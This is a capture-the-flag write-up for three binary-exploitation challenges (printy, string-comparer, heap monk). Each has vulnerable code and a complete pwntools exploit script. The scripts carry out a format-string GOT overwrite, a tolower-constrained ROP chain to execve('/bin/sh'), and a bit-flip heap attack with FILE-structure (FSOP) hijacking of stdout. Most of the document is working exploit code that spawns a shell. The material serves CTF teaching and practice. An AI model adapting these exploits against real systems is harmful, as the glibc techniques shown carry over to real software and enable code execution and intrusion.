I am going to describe the solutions for the pwn challenge at OSCN, one of which was proposed by me.

printy

The binary source was doing the following

unsigned __int64 vuln()
{
  char s[8]; // [rsp+0h] [rbp-90h] BYREF
  __int64 v2; // [rsp+8h] [rbp-88h]
  __int64 v3; // [rsp+10h] [rbp-80h]
  __int64 v4; // [rsp+18h] [rbp-78h]
  __int64 v5; // [rsp+20h] [rbp-70h]
  __int64 v6; // [rsp+28h] [rbp-68h]
  __int64 v7; // [rsp+30h] [rbp-60h]
  __int64 v8; // [rsp+38h] [rbp-58h]
  __int64 v9; // [rsp+40h] [rbp-50h]
  __int64 v10; // [rsp+48h] [rbp-48h]
  __int64 v11; // [rsp+50h] [rbp-40h]
  __int64 v12; // [rsp+58h] [rbp-38h]
  __int64 v13; // [rsp+60h] [rbp-30h]
  __int64 v14; // [rsp+68h] [rbp-28h]
  __int64 v15; // [rsp+70h] [rbp-20h]
  __int64 v16; // [rsp+78h] [rbp-18h]
  unsigned __int64 v17; // [rsp+88h] [rbp-8h]

  v17 = __readfsqword(0x28u);
  *(_QWORD *)s = 0LL;
  v2 = 0LL;
  v3 = 0LL;
  v4 = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  v12 = 0LL;
  v13 = 0LL;
  v14 = 0LL;
  v15 = 0LL;
  v16 = 0LL;
  fgets(s, n: 144, stream: stdin);
  printf(format: s);
  return v17 - __readfsqword(0x28u);
}

We can see that we have an overflow that does not even reach rbp, and a printf bug.

The first thing to note is that the function that is triggered if the canary is wrong is from the libc, meaning we can GOT overwrite it to main to trigger an infinite loop, it is named _stack_chk_fail.

After getting an infinite loop, we can leak libc using %p and then change printf to system and send /bin/sh.

My exploit script was

from pwn import *

context.log_level = 'debug'
context.binary = binary = './main_patched'
elf = ELF(binary)
host, port = '34.185.207.29',30663


def newp():
  if args.REMOTE:
    return remote(host, port)
  return process(elf.path)


p = newp()

## change stack_chk_fail -> vuln for infinite loop
stack_chk_fail_got = 0x404018
vuln = 0x4011fb
writes = {stack_chk_fail_got: vuln}

offset = 6
payload = fmtstr_payload(offset, writes=writes)
payload += b'A' * (144 - 7 - len(payload))
p.sendline(payload)

## libc leak
payload = b'%47$p '
payload += b'A' * (144 - 7 - len(payload))
p.sendline(payload)
p.recvuntil(b'0x')
leak = int(b'0x' + p.recvuntil(b' '),16)
print(hex(leak))
libc_base = leak - 0x29d90


## change printf -> system
system = libc_base + 0x0000000000050d70
printf_got = 0x404020
writes = {printf_got: system}
offset = 6
payload = fmtstr_payload(offset, writes=writes)
payload += b'A' * (144 - 7 - len(payload))
p.sendline(payload)


## send /bin/sh
p.sendline(b'/bin/sh')

p.interactive()

string-comparer

For this one, we were given the source for the binary

int len1, len2, i;
void compare(char *s1, char *s2) {
  char finalstr[192] = {0};

  if (len1 != len2) {
    return;
  }

  for (i = 0; i < len1; i++) { finalstr[i] = tolower((unsigned char)s1[i]); }
  finalstr[len1] = '\0';
  for (i = 0; i < len2; i++) { finalstr[len1 + 1 + i] = tolower((unsigned char)s2[i]); }

  for (i = 0; i < len1; i++) {
      if (finalstr[i] != finalstr[len1 + 1 + i]) {
          return;
      }
  }
  printf("Strings are equal!\n");
}

void main() {
  char s1[128] = {0}, s2[128] = {0};

  printf("> ");
  len1 = read(0, s1, 128);

  printf("> ");
  len2 = read(0, s2, 128);

  compare(s1, s2);
}

This was a pretty classic BOF challenge; the only annoying part was that tolower was run on the buffer, meaning we couldn’t use bytes that are uppercase letters.

For my solution, I wanted to challenge myself, so I replaced the return instructions in compare with exit making it so that I had to use the same payload both in s1 and s2.

In addition to this, I tried to find a way to solve it by directly calling execve as calling read or other stuff would be pretty cringe.

My final script was

#replace the ? with values from the challenge you are working on
from pwn import *
import struct
import time

context.log_level = 'debug'
context.binary = binary = './main'
elf = ELF(binary)
host, port = '34.185.207.29',32484

def newp():
  if args.REMOTE:
    return remote(host, port)
  return process(elf.path)


pop_rdi = 0x000000000040233f #: pop rdi ; ret
pop_rsi = 0x000000000040a62e #: pop rsi ; ret
syscall = 0x00000000004020f4 #: syscall ; ret
edx_control = 0x000000000042a5bc #: xchg edx, eax ; sub eax, edx ; ret
pop_rax = 0x00000000004505c7 #: pop rax ; ret
write_gadget = 0x00000000004909ac #: mov qword ptr [rbx], rax ; pop rax ; pop rdx ; pop rbx ; ret
pop_rbx = 0x0000000000401d70 #: pop rbx ; ret
writeable = 0x00000000004c6000 + 0x1800
pop_rax_add_0x5b = 0x00000000004094e9 #: pop rax ; add al, 0x5b ; ret
ret_0xf = 0x000000000040f4d2 # ret 0xf
ret = pop_rdi + 1

pointer_in_rdi = 0x00000000004c91b0

p = newp()

payload2 = b'B' * 6 + p64(ret) + p64(write_gadget) + p64(0x3b) + p64(0x0) + p64(0xcaca) + p64(syscall) +  b'C' * 1 + p64(pop_rsi) + p64(0) + p64(pop_rax_add_0x5b) + p64(u64(b'/bin/sh\x00')-0x5b+0x100) + p64(pop_rbx) + p64(pointer_in_rdi)  + p64(ret_0xf) + p64(ret) + p64(ret)
payload2 += b'B' * (128-len(payload2))
payload1 = payload2

p.sendafter(b'>',payload1)
p.sendafter(b'>',payload2)


p.interactive()

The binary goes through the instructions as follows

pop_rax_add_0x5b -> now /bin/sh is in rax
pop_rbx -> now a writeable addr is in rbx (that pointer is in rdi as well)
ret 0xf
ret
pop_rsi -> now rsi 0 (needed for execve)
pop_rax_add_0x5b -> now /bin/sh is in rax (again)
pop_rbx -> now a writeable addr is in rbx (again) (that pointer is in rdi as well)
ret 0xf
ret
ret
write_gadget -> now /bin/sh was written to the pointer in rbx/rdi, rax is set to 0x3b, rdx is set to 0
syscall -> win

heap monk

This one was made by me; it was a pretty unique heap challenge.

You were given a classic heap menu; the only bug in the heap options from the menu was that chunk contents were not cleared, leading to you being able to easily get heap and libc leaks.

Aside from the heap options, the players were given the option to bit flip any address once (after the bit flip was used up, you couldn’t get access to it again)

static void bit_flip() {
    uintptr_t addr;
    unsigned int bit;

    printf("Address: ");
    scanf("%lx", &addr);

    printf("Bit: ");
    scanf("%u", &bit);

    if (bit >= 8 || bit < 0) 
        exit(0); 

    *(unsigned char *)addr ^= (1u << bit);

}

This alone was enough for RCE. In my solution, I opted to do the overwrite from the House of Water. However, multiple alternate solves were possible; the most notable ones are:

  • flip a bit in a pointer from the heap tcache_perthread_struct to get overlapping chunks
  • poison null byte / house of einherjar by using the bit flip like a null byte overflow
  • flip a size for a chunk to make it larger and get chunk overlap

My solver was this

#replace the ? with values from the challenge you are working on
from pwn import *
import struct

context.log_level = 'debug'
context.binary = binary = './heap_monk_patched'
elf = ELF(binary)
host, port = '127.0.0.1',1337

def newp():
  if args.REMOTE:
    return remote(host, port)
  return process(elf.path)

def create(idx, sz, data):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'Index: ', str(idx).encode())
    p.sendlineafter(b'Size: ', str(sz).encode())
    p.sendafter(b'Data: ', data)

def show(idx):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'Index: ', str(idx).encode())

def delete(idx):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'Index: ', str(idx).encode())

p = newp()
create(0, 0x440, b'a')
create(1, 0x20, b'a')
delete(0)
create(0, 0x440, b'a')
create(2, 0x500, b'a')
show(0)
leak = u64(p.recvuntil(b'\n1.')[8:][:8])
print(f'leak: {hex(leak)}')
libc_base = leak - 0x203b20
print(f'libc base: {hex(libc_base)}')

p.sendlineafter(b'> ', b'5')
p.sendlineafter(b'ress: ', hex(libc_base + 0x2031e0 + 8 + 1).encode())
p.sendlineafter(b'Bit: ', b'0')

# classic fsop on stdout, any RCE technique works (we have arb rw)
libc = ELF('libc.so.6')
libc.address = libc_base


stdout_lock = libc.address + 0x205710   # _IO_stdfile_1_lock  (symbol not exported)
stdout = libc.sym['_IO_2_1_stdout_']
fake_vtable = libc.sym['_IO_wfile_jumps']-0x18
# our gadget
gadget = libc.address + 0x0000000000172550 # add rdi, 0x10 ; jmp rcx

fake = FileStructure(0)
fake.flags = 0x3b01010101010101
fake._IO_read_end=libc.sym['system']            # the function that we will call: system()
fake._IO_save_base = gadget
fake._IO_write_end=u64(b'/bin/sh\x00')  # will be at rdi+0x10
fake._lock=stdout_lock
fake._codecvt= stdout + 0xb8
fake._wide_data = stdout+0x200          # _wide_data just needs to point to empty zone
fake.unknown2=p64(0)*2+p64(stdout+0x20)+p64(0)*3+p64(fake_vtable)
payload = bytes(fake)

delete(2)
delete(0)
create(0, 0x440, b'A' * 0x68 + p64(stdout))
create(2, 0x500, payload)

p.interactive()